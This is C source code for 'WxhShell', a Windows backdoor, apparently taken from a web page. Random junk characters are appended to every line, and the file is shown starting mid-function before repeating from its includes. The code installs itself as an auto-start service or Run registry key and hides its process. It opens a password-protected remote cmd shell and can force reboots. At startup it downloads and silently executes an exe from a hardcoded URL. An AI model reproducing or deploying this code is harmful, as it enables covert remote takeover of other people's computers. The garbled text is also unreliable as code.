    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Bh6lK}9  
    if(Boot(SHUTDOWN)) DE$T1pFV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O9:J ^g  
    else { sV`XJ9e|  
    closesocket(wsh); V`LW~P;  
    ExitThread(0); d)v!U+-|'  
    } ?$4CgN-  
    break; n s&(g^  
    } Le,+jm  
  // 获取shell oRl@AhS  
  case 's': { OLDEB.@  
    CmdShell(wsh); pEiq;2{~Yn  
    closesocket(wsh); |bjLmGb  
    ExitThread(0); %* @hS`  
    break; [.4D<}e  
  } fq0[7Yb  
  // 退出 $+HS^m  
  case 'x': { ` aaT #r  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ijs=4f  
    CloseIt(wsh); "'6R|<u=:  
    break; 6 ZVD<C:\  
    } \J^xpR_0u  
  // 离开 KnYHjJa  
  case 'q': { Q37zBC 0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .n)0@X!  
    closesocket(wsh); aB4L$M8x  
    WSACleanup(); 5>M@ F0  
    exit(1); X[o"9O|<  
    break; :,=Z)e  
        } JT 5+d ,  
  } u9dL-Nr`  
  } 3S1`av(tD  
AmT*{Fz8  
  // 提示信息 O; <YLS^|6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TWTRMc;z+  
} :a9$f8*b  
  } .s<tQU  
2v\-xg%1  
  return; Jl,\^)DSw  
} &8 4Izs/[  
? 8)$N  
// shell模块句柄 Q mn'G4#@E  
int CmdShell(SOCKET sock) FI(M 1iJ  
{ ` G.:G/b%H  
STARTUPINFO si; *gXm&/2*  
ZeroMemory(&si,sizeof(si)); +l_$}UN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -<B{?D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; J*O$)K%Hx  
PROCESS_INFORMATION ProcessInfo; 8rsv8OO  
char cmdline[]="cmd"; "Q<*H<e  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;^:$O6J7T~  
  return 0; &:)e   
} Gu9x4p  
Li\BRlebR{  
// 自身启动模式 pGGx.&5#82  
int StartFromService(void) ZI#Xh5  
{ oJTsrc_ -  
typedef struct 4i o02qd 4  
{ Vl+,OBy  
  DWORD ExitStatus; Y^f12%  
  DWORD PebBaseAddress; Yhd|1,m9f  
  DWORD AffinityMask; ? /Z hu  
  DWORD BasePriority; tC -H2@  
  ULONG UniqueProcessId; I3V>VLv  
  ULONG InheritedFromUniqueProcessId; f*SAbDE  
}   PROCESS_BASIC_INFORMATION; F I\V6\B/  
~0>{PD$@  
PROCNTQSIP NtQueryInformationProcess; vXM``|  
?V&[U  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \W6 |un  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {m%X\s;ni  
lC i_G3C  
  HANDLE             hProcess; ?RD)a`y51  
  PROCESS_BASIC_INFORMATION pbi; %lU$;cY  
"V`MNZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3It'!R8$  
  if(NULL == hInst ) return 0; 6gfdXVN5  
2O5yS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f V.(v&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); uv[e0,@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rXz,<^Hmj  
Do|`wpR  
  if (!NtQueryInformationProcess) return 0; T<0Bq"'%  
G#! j`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <ZNa`  
  if(!hProcess) return 0; 2aN  
-~h2^Oez  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; UmU=3et<Wj  
dR_hPBn/@  
  CloseHandle(hProcess); <u"#Jw/VP  
gGU3e(!Uc  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2Xgw7` !L  
if(hProcess==NULL) return 0; W3K"5E0ck  
[zR raG\  
HMODULE hMod; UgJ^NF2w  
char procName[255]; GKPqBi[rO  
unsigned long cbNeeded; ? xX`_l  
nx,67u/Pb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !U/: !e`N  
$(}kau  
  CloseHandle(hProcess); v.v3HB8p  
u6jJf@!ws  
if(strstr(procName,"services")) return 1; // 以服务启动 G$4lH>A&  
Q ;5'I3w  
  return 0; // 注册表启动 rsP-?oD8)  
} 7XWgY%G  
a+mq=K  
// 主模块 > KH4X:  
int StartWxhshell(LPSTR lpCmdLine) k=bv!T_o  
{ O,JthlAV4  
  SOCKET wsl; 8yFD2(#  
BOOL val=TRUE; =$Q3!bJ  
  int port=0; { Rw~G&vQ  
  struct sockaddr_in door; O t `}eL-  
W.:k E|a.g  
  if(wscfg.ws_autoins) Install(); uNhAfZ  
Punbw\9!d,  
port=atoi(lpCmdLine); oRWsi/Zf  
#0Oqw=F  
if(port<=0) port=wscfg.ws_port; E4y"$U%.  
) _2!1  
  WSADATA data; _TQt!Re`,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [EGE|   
!8=uBS%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xI:;%5{LN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \wDOE(>  
  door.sin_family = AF_INET; 6u:5]e8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); QTn-n)AE  
  door.sin_port = htons(port); n{' [[2U  
={L:q8v)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dnIBAe  
closesocket(wsl); $V~%$  
return 1; l1W5pmhK]'  
} Q}fAAZ&7h  
eEc;w#  
  if(listen(wsl,2) == INVALID_SOCKET) { w@%W{aUC  
closesocket(wsl); >MP PYVn7  
return 1; ]B,S<*h  
} 0|^x[dh  
  Wxhshell(wsl); *=|i"  
  WSACleanup(); :&or'Yi}  
h0^V!.- 5  
return 0; p6HZ2Q:a  
]7u8m[@  
} ap6Vmp  
h;ShNU  
// 以NT服务方式启动 #JLDj(a?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s~]nsqLt9p  
{ |y:DLsom?i  
DWORD   status = 0; E$ngmm[  
  DWORD   specificError = 0xfffffff; `jZX(H   
l[fNftT-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "rKIXy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4 ^+hw;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @`_j't,  
  serviceStatus.dwWin32ExitCode     = 0; _ma4  
  serviceStatus.dwServiceSpecificExitCode = 0; 3x=F  
  serviceStatus.dwCheckPoint       = 0; %#] T.g  
  serviceStatus.dwWaitHint       = 0; NqwVs VL  
VmUM _Q~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "pWdz}!  
  if (hServiceStatusHandle==0) return; 0zTv'L  
~<Lf@yu-{  
status = GetLastError(); O?2<rbx  
  if (status!=NO_ERROR) R/Y/#X^b  
{ =:g^_Hy  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Fhsmpe~  
    serviceStatus.dwCheckPoint       = 0; 18n84RkI9  
    serviceStatus.dwWaitHint       = 0; | 5L1\O8#  
    serviceStatus.dwWin32ExitCode     = status; ?X9 =4Z~w  
    serviceStatus.dwServiceSpecificExitCode = specificError;  R_N<j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,m"ztu-  
    return; N{`l?t0I  
  } F d\XDc[g  
kCwTv:)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &=?`;K  
  serviceStatus.dwCheckPoint       = 0; b #^aM  
  serviceStatus.dwWaitHint       = 0; ( Lu.^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3H%HJS  
} N*SgP@Bt  
={b ]  
// 处理NT服务事件,比如:启动、停止 0%qUTGj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) kR6 t .  
{ :1lE98=  
switch(fdwControl) qE`=^  
{ } g*-Ty  
case SERVICE_CONTROL_STOP: L~oFW'  
  serviceStatus.dwWin32ExitCode = 0; hKTg~y^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'iVo,m[yKU  
  serviceStatus.dwCheckPoint   = 0; 38m%ifh)  
  serviceStatus.dwWaitHint     = 0; r;XQ i  
  { %)/f; T6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6|KX8\, A@  
  } !1RV[b.8  
  return; [[ e| GQ  
case SERVICE_CONTROL_PAUSE: |x6mkSf]ke  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; pq[mM!;#v  
  break; }m9LyT=~$  
case SERVICE_CONTROL_CONTINUE: I:e2sE ":  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bS<@Rd{g  
  break; ;ULC|7rL  
case SERVICE_CONTROL_INTERROGATE: rEhf_[Dv  
  break; X?6h>%) k  
}; q`aY.dD=O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fl"y@;;#h  
} (J*w./  
30_un  
// 标准应用程序主函数 A(n=kx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vs1Sh?O  
{ +?iM$}8!U  
d# 3tQ*G/  
// 获取操作系统版本 -m160k3  
OsIsNt=GetOsVer(); X[Ek'=}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~RXpz-Ye  
5FSv"=  
  // 从命令行安装 zcB 2[eaV  
  if(strpbrk(lpCmdLine,"iI")) Install(); QWHy=(!  
qu ~|d}0  
  // 下载执行文件 Tdwwtbe  
if(wscfg.ws_downexe) { I/Jp,~JT*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M%{?\)s  
  WinExec(wscfg.ws_filenam,SW_HIDE); |2@en=EYk  
} d_C4B  
q{GSsDo-:V  
if(!OsIsNt) { yK077zH_  
// 如果时win9x,隐藏进程并且设置为注册表启动 [tqO}D  
HideProc(); )E:,V~< 8  
StartWxhshell(lpCmdLine); ^QAiySR`0  
} +oy&OKCa  
else (kC} ,}  
  if(StartFromService()) lV<Tsk'  
  // 以服务方式启动 3l%,D: ?  
  StartServiceCtrlDispatcher(DispatchTable); 4C1FPrh  
else ,k~j6Z  
  // 普通方式启动 _IL2-c8  
  StartWxhshell(lpCmdLine); NGD*ce"w  
( f,J_  
return 0; NaA+/:  
} `\jTpDV_W  
5!AV!A_Jp  
A/"}Y1#qX\  
OB6J.dF[%  
=========================================== [8@kxCq  
6z3T?`}Y  
%5h^`lp  
nG"n-$A?<  
kT^*>=1  
=4zNo3IvL+  
" mF'-Is  
Xlv#=@;O]  
#include <stdio.h> Y}LLOj@L  
#include <string.h> S<nP80C  
#include <windows.h> I1)-,/nEjg  
#include <winsock2.h> URK!W?3c  
#include <winsvc.h> WRD A `  
#include <urlmon.h> lc[XFc  
jJ a V  
#pragma comment (lib, "Ws2_32.lib") M XZq  
#pragma comment (lib, "urlmon.lib") dL_QX,X-]  
Y{Da+  
#define MAX_USER   100 // 最大客户端连接数 Zx+cvQ  
#define BUF_SOCK   200 // sock buffer +z-[s6q2m  
#define KEY_BUFF   255 // 输入 buffer wE$s'e  
QCOLC2I  
#define REBOOT     0   // 重启 fcRj  
#define SHUTDOWN   1   // 关机 r C_d$Jv  
1E8H%2$ V  
#define DEF_PORT   5000 // 监听端口 bD35JG^&i  
ljPq2v ]  
#define REG_LEN     16   // 注册表键长度 r6`\d k  
#define SVC_LEN     80   // NT服务名长度 x;]x_f z  
P:sAqvH6  
// 从dll定义API XRa(sXA3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =<{h^-j;a  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n]+.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); EeCFII  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +YTx   
&=6%>  
// wxhshell配置信息 G0}Dq M Ti  
struct WSCFG { I:#Ok+   
  int ws_port;         // 监听端口 TPHYz>D]  
  char ws_passstr[REG_LEN]; // 口令 ]pnYvXf>!  
  int ws_autoins;       // 安装标记, 1=yes 0=no 91u p^   
  char ws_regname[REG_LEN]; // 注册表键名 Z>8eD|m%2  
  char ws_svcname[REG_LEN]; // 服务名 9e~WK720=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R"*R99  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 sAi&A9"*   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 BCx!0v?9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no b,dr+RB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" EX:{EmaT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ep mJWbU  
nq' M?c#E  
}; %M9;I  
HA!t$[_Ve  
// default Wxhshell configuration ==N` !+  
struct WSCFG wscfg={DEF_PORT, xW>ySEf  
    "xuhuanlingzhe",  %[`a  
    1, )lh8 k {  
    "Wxhshell", vZ@g@zB4o0  
    "Wxhshell", Uky9zGa  
            "WxhShell Service", R& #tSL  
    "Wrsky Windows CmdShell Service", M)JADX  
    "Please Input Your Password: ", mV?&%>*(f  
  1, 5Z{_m;I.   
  "http://www.wrsky.com/wxhshell.exe", < Dd%  
  "Wxhshell.exe" ,r=re!QI7  
    }; n'K6vW3  
DyfsTx  
// 消息定义模块 \"x>JW4w  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zA s&%OjG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5M:D?9E+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; NZk&JND  
char *msg_ws_ext="\n\rExit."; 3qi_]*dD  
char *msg_ws_end="\n\rQuit."; ^ve14mbF#.  
char *msg_ws_boot="\n\rReboot..."; }ptMjT{9  
char *msg_ws_poff="\n\rShutdown..."; ~Ky4+\6o>  
char *msg_ws_down="\n\rSave to "; S~)w\(r  
{.CMD9F[  
char *msg_ws_err="\n\rErr!"; *C6D3y  
char *msg_ws_ok="\n\rOK!"; ;`(R7X *3  
l-.(Ez*  
char ExeFile[MAX_PATH]; %NajFjBI  
int nUser = 0; ?Elg?)os  
HANDLE handles[MAX_USER]; T8XY fcc*h  
int OsIsNt; VWi2(@R^  
2f{T6=SK  
SERVICE_STATUS       serviceStatus; 1] #9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W7=V{}b+  
Qi9-z'  
// 函数声明 ,9of(T(~  
int Install(void); *:hy Y!x  
int Uninstall(void); P)6 lu8zQ  
int DownloadFile(char *sURL, SOCKET wsh); S8vV!xO  
int Boot(int flag); s8<gK.atl  
void HideProc(void); TDNf)Mm  
int GetOsVer(void); -rSIBc:$8  
int Wxhshell(SOCKET wsl); p &(OZJT  
void TalkWithClient(void *cs); v]"L]/"  
int CmdShell(SOCKET sock);  !HK^AwNY  
int StartFromService(void); ;inzyFbL=  
int StartWxhshell(LPSTR lpCmdLine); ]lBGyUJn  
F{m{d?:OA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1S:|3W  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); d=3'?l`  
iwF9[wAft  
// 数据结构和表定义 Yu3zM79'k  
SERVICE_TABLE_ENTRY DispatchTable[] = oxz{ ejd{  
{ u0o'K9.r  
{wscfg.ws_svcname, NTServiceMain}, `BY&>WY[  
{NULL, NULL} p9qKLJ*.C  
}; Ykqyk')wm  
?KE$r~dn  
// 自我安装 ^%>kO,  
int Install(void) SO f{Hx0C6  
{ !>$4]FkV  
  char svExeFile[MAX_PATH]; 4QHS{tj  
  HKEY key; /JJw 6[ N  
  strcpy(svExeFile,ExeFile); :t("L-GPW  
,IHb+K  
// 如果是win9x系统,修改注册表设为自启动 "3CJUr:Q  
if(!OsIsNt) { w#y0atsg'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R^#@lI~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [bz T& o  
  RegCloseKey(key); #*%q'gyHT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &&> tf%[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b1#dz]  
  RegCloseKey(key); p#P~Q/;  
  return 0; iq$$+y,  
    } &a0r%L()X  
  } U(>4s]O6  
} Guw}=l--YR  
else { d3Mva,bw<  
Z8O n%Mx{"  
// 如果是NT以上系统,安装为系统服务 %ysZ5:X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `fNpY#QsN  
if (schSCManager!=0) K>Fqf +_  
{ %r\n%$@_  
  SC_HANDLE schService = CreateService M~e0lg8  
  ( s ^Nw%KAv  
  schSCManager, hwYQGtjF  
  wscfg.ws_svcname, BR`ygrfe  
  wscfg.ws_svcdisp, DTRJ/ @t  
  SERVICE_ALL_ACCESS, /^SAC%PD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {$D,?V@%_  
  SERVICE_AUTO_START, 1$/MrPT(b  
  SERVICE_ERROR_NORMAL, (IqZ@->nw  
  svExeFile, x&sI=5l  
  NULL, %M F;`;1  
  NULL, 3rW|kkn  
  NULL, `:8J46or  
  NULL, :$;Fhf<5  
  NULL f 3V Dv9(  
  ); d_UN0YT<  
  if (schService!=0) AN:sQX`  
  { @}p2aV59  
  CloseServiceHandle(schService); !)"%),>}o  
  CloseServiceHandle(schSCManager); P9Yy9_a|x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Bs+(L [Z  
  strcat(svExeFile,wscfg.ws_svcname); >zsid:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >2$5eI  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); H`bSYjgM!  
  RegCloseKey(key); _/8FRkx  
  return 0; <~ad:[  
    } ;7]u!Q  
  } @bM2{Rh:  
  CloseServiceHandle(schSCManager); ~LJY6A@y  
} 0]KraLu"N  
} ]wT 7*( Y  
LZJA4?C  
return 1; `g8E1-]l  
} geQ{EwO8n  
OaJB=J%  
// 自我卸载 6R-&-4  
int Uninstall(void) @2pu^k^  
{ T{V/+RM  
  HKEY key; 0iULCK  
f.aSKQD  
if(!OsIsNt) { >_rha~   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iHwLZ[O{  
  RegDeleteValue(key,wscfg.ws_regname); 3G.5724,  
  RegCloseKey(key); '1,,)U#6E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +4[^!q* H  
  RegDeleteValue(key,wscfg.ws_regname); ~$' \L  
  RegCloseKey(key); E$W{8?:{  
  return 0; D3|oOOoG  
  } 56^ +;^f^`  
} {o5V7*P;_  
} o,U9}_|A  
else { jV.g}F+1m  
u` oq(?|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -.g|l\  
if (schSCManager!=0) rl9. ]~  
{ ;Yi4Xva@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <0yE 5Mrf  
  if (schService!=0) KD/V aN  
  { h;=6VgXZ  
  if(DeleteService(schService)!=0) { }2K$^u R  
  CloseServiceHandle(schService); .(pN5JI*  
  CloseServiceHandle(schSCManager); 'V8N  
  return 0; K3\#E/Ox  
  } D:Q 21Ch  
  CloseServiceHandle(schService); vG \a1H  
  } PW3GL3+  
  CloseServiceHandle(schSCManager); d Le-nF  
} V([~r,  
} ]skkoM  
A AHt218  
return 1; -P&6L\V  
} )DYI .  
&$`yo`  
// 从指定url下载文件 =)hVn  
int DownloadFile(char *sURL, SOCKET wsh) ^(* n]  
{ ^z,_+},a3T  
  HRESULT hr; 6a;v&5  
char seps[]= "/"; bzdb|I6Z  
char *token; qF 9NQ;  
char *file; >vuY+o;B  
char myURL[MAX_PATH]; 0rGSH*(  
char myFILE[MAX_PATH]; Rq[ M29  
-=.V '  
strcpy(myURL,sURL); ]v#r4Ert  
  token=strtok(myURL,seps); N)&4Hy  
  while(token!=NULL) >DPB!XA3  
  { OgF+O S  
    file=token; jE#O>3+.  
  token=strtok(NULL,seps); H3Se={5h\A  
  } 5e sQ;  
*xp\4;B  
GetCurrentDirectory(MAX_PATH,myFILE); }E`dZW*!!  
strcat(myFILE, "\\"); G;f/Tch  
strcat(myFILE, file); ' oF xR003  
  send(wsh,myFILE,strlen(myFILE),0); z5W@`=D  
send(wsh,"...",3,0); <cA/<3k)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J)mh u}  
  if(hr==S_OK) %F kMv  
return 0; v\`9;QV5  
else [!%![E  
return 1; `b c;]@"  
Fq9Q+RNMZL  
} zD3mX<sw  
9<K j6t_  
// 系统电源模块 +:3*  
int Boot(int flag) gIA@l `"  
{ U35AX9/  
  HANDLE hToken; \;rYo.+  
  TOKEN_PRIVILEGES tkp; 3=W!4  
9o>8o  
  if(OsIsNt) { Z'H5,)j0R  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &i!vd/*WlD  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rpw.]vnn  
    tkp.PrivilegeCount = 1; Tr^nkD{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k1VT /u  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V^Hu3aUx8  
if(flag==REBOOT) { =}PdH`S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) BcD&sQ2F  
  return 0; c$wsH25KH8  
} t'm;:J1  
else { C{2xHd/*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D/h/Y) Y  
  return 0; c^`]`xiX  
} ~{}#)gGU  
  } w>b-} t  
  else { `gKf#f  
if(flag==REBOOT) { 1,5E `J  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _{jjgQJ5  
  return 0; k? Xc  
} U?.9D  
else { 7^T^($+6s&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @]bPVG?d  
  return 0; .CSS}4  
} -[L!3jU  
} cwV]!=RtO  
} G<rt  
return 1; $wYFEz  
} P9T5L<5  
n&A'C\  
// win9x进程隐藏模块 ,sGZ2=M}J  
void HideProc(void) B^%1Rpcn  
{ :R.&`4=X  
w{k)XY40sW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R/`q/0T.  
  if ( hKernel != NULL ) 7Ol}EPf#  
  { ud fe  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :iR \%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K gN)JD>  
    FreeLibrary(hKernel); pWu LfX  
  } Z0De!?ALV\  
H'F6$ypoS  
return; [31p&FxM  
} ~:km]?lz0  
lcV<MDS  
// 获取操作系统版本 P,=+W(s9}  
int GetOsVer(void) %zU`XVNN+  
{ }3R13   
  OSVERSIONINFO winfo; _7DkS}NJs  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !A1)|/ a@  
  GetVersionEx(&winfo); XBQ\_2>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `pd&se'p  
  return 1; w;v7_  
  else 1y^K/.5-  
  return 0; Il.Ed-&62  
} 1{_A:<VBl  
$hxN hI  
// 客户端句柄模块 qNyzU@  
int Wxhshell(SOCKET wsl) H&b3{yOa  
{  htY=w}>  
  SOCKET wsh; x_|F|9  
  struct sockaddr_in client; |lH;Fq{\  
  DWORD myID; NrDi   
VGL#!4wK  
  while(nUser<MAX_USER) 27ckdyQx  
{ FI8Oz,  
  int nSize=sizeof(client); @xsCXCRWVV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *]JdHO  
  if(wsh==INVALID_SOCKET) return 1; &/.hx(#d  
.ut{,(5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (SVWdgb  
if(handles[nUser]==0) ~8`:7m?  
  closesocket(wsh); ZV}X'qGaq  
else n3MWs);5  
  nUser++; 6{d6s#|%  
  } E99CmG|"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4\.V   
zT~B 6  
  return 0; :PbDU$x  
} K7I&sS^x  
RnfXN)+P  
// 关闭 socket nA>sHy  
void CloseIt(SOCKET wsh) +)nT|w45  
{ a=GM[{og  
closesocket(wsh); f]~c)P Cs  
nUser--; V@=V5bZLs  
ExitThread(0); V's:>;  
} U3vEdw<lV  
5H,G-  
// 客户端请求句柄 151tXSzLT  
void TalkWithClient(void *cs) XM Vq-8B0  
{ o7&4G$FX~  
ydWtvFuS  
  SOCKET wsh=(SOCKET)cs; Mu_i$j$vvP  
  char pwd[SVC_LEN]; s_jBu  
  char cmd[KEY_BUFF]; +V v+K(lh$  
char chr[1]; MWuXI1  
int i,j; Z#`0txCF  
]8U ~Iy  
  while (nUser < MAX_USER) { +-068k(  
QL"gWr`R  
if(wscfg.ws_passstr) { _J?SIm  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q F-)^`N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !jS4!2'  
  //ZeroMemory(pwd,KEY_BUFF); `!\ivIi^  
      i=0; X7aXxPCq1  
  while(i<SVC_LEN) { @%i>XAe#0  
nR5bs;gk"  
  // 设置超时 UPCQs",  
  fd_set FdRead; ~] =?b)B  
  struct timeval TimeOut; G=M] 8+h  
  FD_ZERO(&FdRead); #dJ 2Q_2  
  FD_SET(wsh,&FdRead); si/er"&o  
  TimeOut.tv_sec=8; d5xxb _oE  
  TimeOut.tv_usec=0; <4F7@q, V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ='/Z;3jt]x  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oo'w-\2]p  
m% bE-#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^/KfH &E  
  pwd=chr[0]; K_-MkY?+  
  if(chr[0]==0xd || chr[0]==0xa) { j)D-BK&+  
  pwd=0; N2~$r pU3  
  break; i^%-aBZ  
  } @[r={s\  
  i++; GfsBQY/  
    } rnvQ<671W  
S!j^|!  
  // 如果是非法用户,关闭 socket RebTg1vGu  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &G{2s J5{  
} i>Iee^_(  
vj3isI4lU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jKt-~:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?vu|o'$T,  
)1_(>|@oi  
while(1) { D9^7m j?e  
]V<"(?,K  
  ZeroMemory(cmd,KEY_BUFF); yisLypM*  
`C<F+/q  
      // 自动支持客户端 telnet标准    rA#s   
  j=0; aYj%w  
  while(j<KEY_BUFF) { t-lv|%+8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fOW_h  
  cmd[j]=chr[0]; >-<F)  
  if(chr[0]==0xa || chr[0]==0xd) { ;f(n.i  
  cmd[j]=0; 5Bd(>'ig_  
  break; G7Ny"{Z  
  } cj^bh  
  j++; /| f[us-w  
    } !w=,p.?V=  
hZ o5p&b  
  // 下载文件 IozNjII$:.  
  if(strstr(cmd,"http://")) { )d_U)b7i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U9F6d!:L7A  
  if(DownloadFile(cmd,wsh)) BK*UR+,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /#IH -2N  
  else S~|tfJpL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gUb "3g0  
  } ?Hk.|5A}  
  else { wNR=?Z~  
Hi7G/2t@`  
    switch(cmd[0]) { 7H?! RYrx  
  [[$Mh_MD  
